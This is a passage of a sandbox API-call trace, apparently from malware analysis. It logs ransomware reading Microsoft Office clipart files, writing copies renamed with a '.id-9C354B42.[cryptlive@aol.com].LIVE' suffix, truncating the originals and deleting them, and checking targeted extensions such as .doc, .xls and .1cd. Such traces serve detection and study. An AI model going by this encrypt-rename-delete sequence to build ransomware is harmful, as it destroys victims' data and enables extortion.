lstrlenW (lpString=".1cd") returned 4 [0154.800] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0154.800] lstrlenW (lpString=".jpg") returned 4 [0154.800] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.800] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0154.800] lstrlenW (lpString="J0107264.WMF") returned 12 [0154.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0154.803] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=5272) returned 1 [0154.803] CloseHandle (hObject=0x314) returned 1 [0154.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf")) returned 0x20 [0154.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0154.804] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.804] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0154.805] GetLastError () returned 0x0 [0154.805] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1498, lpOverlapped=0x0) returned 1 [0154.806] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x14a0, lpOverlapped=0x0) returned 1 [0154.807] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0154.807] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.808] SetEndOfFile (hFile=0x1b8) returned 1 [0154.808] CloseHandle (hObject=0x1b8) returned 1 [0154.808] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.808] SetEndOfFile (hFile=0x314) returned 1 [0154.811] CloseHandle (hObject=0x314) returned 1 [0154.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.811] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf")) returned 1 [0154.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0154.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0154.812] lstrlenW (lpString=".doc") returned 4 [0154.812] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.812] lstrlenW (lpString=".docx") returned 5 [0154.812] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0154.812] lstrlenW (lpString=".pdf") returned 4 [0154.812] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.812] lstrlenW (lpString=".xls") returned 4 [0154.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.812] lstrlenW (lpString=".xlsx") returned 5 [0154.812] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0154.812] lstrlenW (lpString=".ppt") returned 4 [0154.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0154.812] lstrlenW (lpString=".zip") returned 4 [0154.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.812] lstrlenW (lpString=".rar") returned 4 [0154.813] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.813] lstrlenW (lpString=".bz2") returned 4 [0154.813] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.813] lstrlenW (lpString=".7z") returned 3 [0154.813] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0154.813] lstrlenW (lpString=".dbf") returned 4 [0154.813] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0154.813] lstrlenW (lpString=".1cd") returned 4 [0154.813] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0154.813] lstrlenW (lpString=".jpg") returned 4 [0154.813] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0154.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0154.813] lstrlenW (lpString=".doc") returned 4 [0154.813] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.813] lstrlenW (lpString=".docx") returned 5 [0154.813] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0154.813] lstrlenW (lpString=".pdf") returned 4 [0154.813] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.813] lstrlenW (lpString=".xls") returned 4 [0154.813] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.813] lstrlenW (lpString=".xlsx") returned 5 [0154.813] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0154.813] lstrlenW (lpString=".ppt") returned 4 [0154.813] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0154.813] lstrlenW (lpString=".zip") returned 4 [0154.813] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.813] lstrlenW (lpString=".rar") returned 4 [0154.813] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.813] lstrlenW (lpString=".bz2") returned 4 [0154.814] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.814] lstrlenW (lpString=".7z") returned 3 [0154.814] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0154.814] lstrlenW (lpString=".dbf") returned 4 [0154.814] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0154.814] lstrlenW (lpString=".1cd") returned 4 [0154.814] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF") returned 63 [0154.814] lstrlenW (lpString=".jpg") returned 4 [0154.814] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.814] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0154.814] lstrlenW (lpString="J0107266.WMF") returned 12 [0154.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0154.815] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=5868) returned 1 [0154.815] CloseHandle (hObject=0x314) returned 1 [0154.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf")) returned 0x20 [0154.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0154.815] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.816] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0154.816] GetLastError () returned 0x0 [0154.817] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x16ec, lpOverlapped=0x0) returned 1 [0154.818] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x16f0, lpOverlapped=0x0) returned 1 [0154.819] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0154.820] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.820] SetEndOfFile (hFile=0x1b8) returned 1 [0154.820] CloseHandle (hObject=0x1b8) returned 1 [0154.820] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.820] SetEndOfFile (hFile=0x314) returned 1 [0154.823] CloseHandle (hObject=0x314) returned 1 [0154.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf")) returned 1 [0154.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0154.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0154.825] lstrlenW (lpString=".doc") returned 4 [0154.825] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.825] lstrlenW (lpString=".docx") returned 5 [0154.825] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0154.825] lstrlenW (lpString=".pdf") returned 4 [0154.825] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.825] lstrlenW (lpString=".xls") returned 4 [0154.825] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.825] lstrlenW (lpString=".xlsx") returned 5 [0154.825] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0154.825] lstrlenW (lpString=".ppt") returned 4 [0154.825] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0154.825] lstrlenW (lpString=".zip") returned 4 [0154.826] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.826] lstrlenW (lpString=".rar") returned 4 [0154.826] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.826] lstrlenW (lpString=".bz2") returned 4 [0154.826] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.826] lstrlenW (lpString=".7z") returned 3 [0154.826] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0154.826] lstrlenW (lpString=".dbf") returned 4 [0154.826] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0154.826] lstrlenW (lpString=".1cd") returned 4 [0154.826] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0154.826] lstrlenW (lpString=".jpg") returned 4 [0154.826] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0154.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0154.826] lstrlenW (lpString=".doc") returned 4 [0154.826] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.826] lstrlenW (lpString=".docx") returned 5 [0154.826] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0154.826] lstrlenW (lpString=".pdf") returned 4 [0154.826] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.826] lstrlenW (lpString=".xls") returned 4 [0154.826] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.827] lstrlenW (lpString=".xlsx") returned 5 [0154.827] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0154.827] lstrlenW (lpString=".ppt") returned 4 [0154.827] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0154.827] lstrlenW (lpString=".zip") returned 4 [0154.827] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.827] lstrlenW (lpString=".rar") returned 4 [0154.827] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.827] lstrlenW (lpString=".bz2") returned 4 [0154.827] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.827] lstrlenW (lpString=".7z") returned 3 [0154.827] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0154.827] lstrlenW (lpString=".dbf") returned 4 [0154.827] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0154.827] lstrlenW (lpString=".1cd") returned 4 [0154.827] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0154.827] lstrlenW (lpString=".jpg") returned 4 [0154.827] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.827] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0154.828] lstrlenW (lpString="J0107280.WMF") returned 12 [0154.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0154.828] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=11108) returned 1 [0154.829] CloseHandle (hObject=0x314) returned 1 [0154.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf")) returned 0x20 [0154.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0154.829] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.829] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0154.831] GetLastError () returned 0x0 [0154.831] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x2b64, lpOverlapped=0x0) returned 1 [0154.833] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x2b70, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x2b70, lpOverlapped=0x0) returned 1 [0154.834] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0154.834] WriteFile (in: hFile=0x1b8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.835] SetEndOfFile (hFile=0x1b8) returned 1 [0154.835] CloseHandle (hObject=0x1b8) returned 1 [0154.835] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.835] SetEndOfFile (hFile=0x314) returned 1 [0154.838] CloseHandle (hObject=0x314) returned 1 [0154.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.838] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf")) returned 1 [0154.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0154.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0154.841] lstrlenW (lpString=".doc") returned 4 [0154.841] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.841] lstrlenW (lpString=".docx") returned 5 [0154.841] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0154.841] lstrlenW (lpString=".pdf") returned 4 [0154.841] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.841] lstrlenW (lpString=".xls") returned 4 [0154.841] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.841] lstrlenW (lpString=".xlsx") returned 5 [0154.841] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0154.841] lstrlenW (lpString=".ppt") returned 4 [0154.841] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0154.841] lstrlenW (lpString=".zip") returned 4 [0154.841] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.841] lstrlenW (lpString=".rar") returned 4 [0154.841] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.841] lstrlenW (lpString=".bz2") returned 4 [0154.841] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.841] lstrlenW (lpString=".7z") returned 3 [0154.841] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0154.841] lstrlenW (lpString=".dbf") returned 4 [0154.841] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0154.842] lstrlenW (lpString=".1cd") returned 4 [0154.842] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0154.842] lstrlenW (lpString=".jpg") returned 4 [0154.842] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0154.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0154.842] lstrlenW (lpString=".doc") returned 4 [0154.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.842] lstrlenW (lpString=".docx") returned 5 [0154.842] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0154.842] lstrlenW (lpString=".pdf") returned 4 [0154.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.842] lstrlenW (lpString=".xls") returned 4 [0154.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.842] lstrlenW (lpString=".xlsx") returned 5 [0154.842] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0154.842] lstrlenW (lpString=".ppt") returned 4 [0154.842] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0154.842] lstrlenW (lpString=".zip") returned 4 [0154.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.842] lstrlenW (lpString=".rar") returned 4 [0154.842] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.842] lstrlenW (lpString=".bz2") returned 4 [0154.842] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.842] lstrlenW (lpString=".7z") returned 3 [0154.842] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0154.843] lstrlenW (lpString=".dbf") returned 4 [0154.843] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0154.843] lstrlenW (lpString=".1cd") returned 4 [0154.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0154.843] lstrlenW (lpString=".jpg") returned 4 [0154.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.845] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0154.845] lstrlenW (lpString="J0107282.WMF") returned 12 [0154.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0154.846] GetFileSizeEx (in: hFile=0x314, 